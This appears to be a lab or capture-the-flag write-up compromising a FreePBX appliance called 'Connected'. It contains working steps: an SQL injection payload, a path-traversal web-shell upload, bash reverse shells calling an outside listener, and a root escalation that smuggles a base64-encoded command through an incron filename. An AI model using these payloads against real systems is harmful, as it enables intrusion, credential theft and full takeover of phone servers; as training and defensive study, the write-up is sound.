Machine Name:
Connected
Difficulty:
Easy
1. Reachability and network enumeration
Reachability was confirmed first:
ping -c 3 -W 2 10.129.245.100
3 packets transmitted, 3 received, 0% packet loss
ttl=63, average RTT approximately 45 ms
A bounded full TCP scan found only three open ports; all remaining TCP ports were filtered:
nmap -Pn -n -p- --min-rate 1200 --max-retries 2 --host-timeout 10m \
-oA evidence/01-tcp-all 10.129.245.100
nmap -Pn -n -sC -sV -p22,80,443 --version-all --script-timeout 2m \
-oA evidence/02-services 10.129.245.100
| Port | Service | Detail |
| 22/tcp | SSH | OpenSSH 7.4 |
| 80/tcp | HTTP | Apache 2.4.6 on CentOS, OpenSSL 1.0.2k-fips, PHP 7.4.16 |
| 443/tcp | HTTPS | Same Apache/PHP stack; self-signed certificate CN `pbxconnect` |
HTTP initially returned `301 Location: http://connected.htb/`. Non-privileged virtual-host resolution was used throughout:
curl --resolve connected.htb:80:10.129.245.100 http://connected.htb/
curl -k --resolve connected.htb:443:10.129.245.100 https://connected.htb/
Both listeners redirected to `/admin`. The certificate was self-signed, valid from 2025-11-30 to 2026-11-30, and used `pbxconnect` as its common name. `robots.txt` disallowed all crawling and identified the content as an appliance GUI.
2. Web and FreePBX enumeration
Following `/admin/` to `/admin/config.php` exposed an unauthenticated FreePBX login page:
curl -sS --resolve connected.htb:80:10.129.245.100 \
http://connected.htb/admin/config.php
Relevant page content:
text
<title>FreePBX Administration
...load_version=16.0.40.7...
FreePBX 16.0.40.7 is licensed under the ...
The
16.0.40.7 value was the visible framework/UI version, not proof of the installed Endpoint module version. The official FreePBX advisory for
CVE-2025-57819 states that Endpoint Manager versions before `16.0.89` are affected by the authentication-bypass/SQL-injection issue. A separate official advisory, CVE-2025-61678, identifies arbitrary upload/path traversal in Endpoint Manager before `16.0.92`.
### Read-only SQL injection validation
The suspected endpoint loader was first tested without data modification. The key request parameters were:
curl -sS --resolve connected.htb:80:10.129.245.100 --get \
--data-urlencode 'module=FreePBX\modules\endpoint\ajax' \
--data-urlencode 'command=model' \
--data-urlencode 'template=x' \
--data-urlencode 'model=model' \
--data-urlencode \
"brand=x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -" \
http://connected.htb/admin/ajax.php
The response proved control of the MariaDB expression:
{"error":{"type":"Exception","message":"SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~asterisk~'::"}}
An unmatched quote independently produced a MariaDB `1064` syntax error, whereas a benign brand value reached `modules/endpoint/views/model.php`. This confirmed the module was installed and the `brand` value entered a SQL string.
The read-only extractor in `evidence/error_sqli_extract.py` used only `SELECT`, `LENGTH`, and `SUBSTRING` expressions. It established:
database: asterisk
endpoint_module_version_enabled: 16.0.86.6|1
ampusers_count: 1
ampuser_0: admin|05c689686a4fad*******6e7ae5708b1fe2da43a|*
Therefore Endpoint `16.0.86.6` was enabled and below both fixed versions. The sole existing ACP user had full section access (`*`) and a SHA-1 verifier. Offline recovery was attempted with Hashcat mode 100 and the full `rockyou.txt` list:
hashcat -m 100 -a 0 evidence/admin-sha1.txt /usr/share/wordlists/rockyou.txt \
--potfile-path evidence/12-hashcat.pot --session connected-admin
No plaintext was recovered. No online password guessing was performed.
3. Initial access and user flag
### Exploit reasoning
The inspected public PoCs showed two useful primitives:
1.
CVE-2025-57819 permits stacked SQL statements through `brand`, making it possible to insert an ACP account into `asterisk.ampusers`.
2. An authenticated full-access ACP user can reach the vulnerable Endpoint firmware upload handler. CVE-2025-61678 lets `fwbrand` traverse from `/tftpboot/customfw/` to the web root and accepts a PHP file.
The third-party code was cloned only for review under `evidence/third-party/`; it was not executed. A minimal purpose-built implementation is saved as `evidence/initial_access.py`.
### Temporary ACP account
One temporary account was inserted with a SHA-1 verifier and `sections='*'`:
audit_connected : ******
This was a test-created credential, not a pre-existing target credential. The account was removed during cleanup.
### Authenticated path-traversal upload
After login, the script sent one multipart request to:
/admin/ajax.php?module=endpoint&command=upload_cust_fw
The critical fields were:
fwbrand = ../../../var/www/html/conn_e7b4c2
file = status.php (minimal PHP command endpoint)
The handler returned `500` after writing the file because its subsequent cleanup attempted to unlink a nonexistent chunk. The command endpoint nevertheless returned:
uid=999(asterisk) gid=1000(asterisk) groups=1000(asterisk)
asterisk
connected
/var/www/html/conn_e7b4c2
Reproduction from the workspace:
python3 evidence/initial_access.py
If a previous run inserted the same row but stopped before login, use `SKIP_INSERT=1 python3 evidence/initial_access.py`; otherwise use the normal command.
A transient reverse shell was obtained after starting a listener on the VPN address:
nc -lvnp 4444
curl -sS -H 'Host: connected.htb' --get \
--data-urlencode \
"cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.78/4444 0>&1'" \
http://10.129.245.100/conn_e7b4c2/status.php
Replace `
10.10.14.78` with the current `tun0` address. Python 2 was present and improved the shell:
python -c 'import pty; pty.spawn("/bin/bash")'
User proof
The appliance was Sangoma Linux 7 with kernel `5.4.239-1.el7.elrepo.x86_64`. The only home directory was `/home/asterisk`, and the flag was group-readable:
uid=999(asterisk) gid=1000(asterisk) groups=1000(asterisk)
-rw-r----- root:asterisk /home/asterisk/user.txt
The user flag was read from `/home/asterisk/user.txt`; its value is stored in `flags.txt`.
4. Local enumeration and privilege escalation
Negative privilege checks
`sudo -n -l` returned `sudo: a password is required`. Standard SUID and file-capability enumeration did not expose an immediate high-confidence path.
Root incron trust boundary
Process and configuration enumeration showed root-owned `incrond` and the following system table:
/var/spool/asterisk/incron IN_MODIFY,IN_ATTRIB,IN_CLOSE_WRITE /usr/bin/sysadmin_manager $#
The watched directory was writable by `asterisk`:
drwxrwxr-x asterisk:asterisk /var/spool/asterisk/incron
Source inspection of `/usr/bin/sysadmin_manager` showed that it interpreted a filename as `module.hook.params`, resolved the module hook, verified the module GPG signature and hook SHA-256, executed the verified hook as root, and automatically unlinked the trigger file.
Arbitrary hook replacement was not viable because of those signature and hash checks. However, the installed, correctly signed API module (`16.0.13`) included `hooks/fwconsole-commands`. Its source decoded attacker-controlled gzip/base64 JSON and used the result in a shell command:
php
$settings = @json_decode(gzuncompress(@base64_decode($b)), true);
$command = $settings[0];
$cmd = "/usr/sbin/fwconsole $command 2>&1";
$result = exec($cmd, $output, $return);
This created command injection despite `sysadmin_manager` rejecting shell metacharacters in the outer parameter: metacharacters were hidden inside base64, then decoded by the signed hook before reaching `exec()`.
Root trigger
The command placed after `fwconsole help` was:
help; bash -c "bash -i >& /dev/tcp/10.10.14.78/4445 0>&1"
It was encoded exactly as the hook expected:
python3 -c 'import base64,json,zlib; command="help; bash -c \"bash -i >& /dev/tcp/10.10.14.78/4445 0>&1\""; print(base64.b64encode(zlib.compress(json.dumps([command,"connected-proof"]).encode())).decode().replace("/","_"))'
With `nc -lvnp 4445` listening, the encoded value was used only as a filename in the watched directory:
touch '/var/spool/asterisk/incron/api.fwconsole-commands.<ENCODED_VALUE>'
`incrond` invoked `sysadmin_manager` as root; the dispatcher verified the legitimate API hook; the hook decoded the command and passed it to a shell. The listener received:
uid=0(root) gid=0(root) groups=0(root)
root
connected
The root flag was read from `/root/root.txt`; its value is stored in `flags.txt`.
5. Cleanup
The test-created artifacts were removed before completion:
sql
DELETE FROM asterisk.ampusers
WHERE username=0x61756469745f636f6e6e6563746564;
rm -f /var/www/html/conn_e7b4c2/status.php
rm -f /var/www/html/conn_e7b4c2/status.php0
rmdir /var/www/html/conn_e7b4c2
Verification showed:
ampusers_count: 1
ampuser_0: admin|05c**9686a4fad****e7ae5708b1fe2da43a|*
GET /conn_e7b4c2/status.php -> 404
/var/spool/asterisk/incron -> empty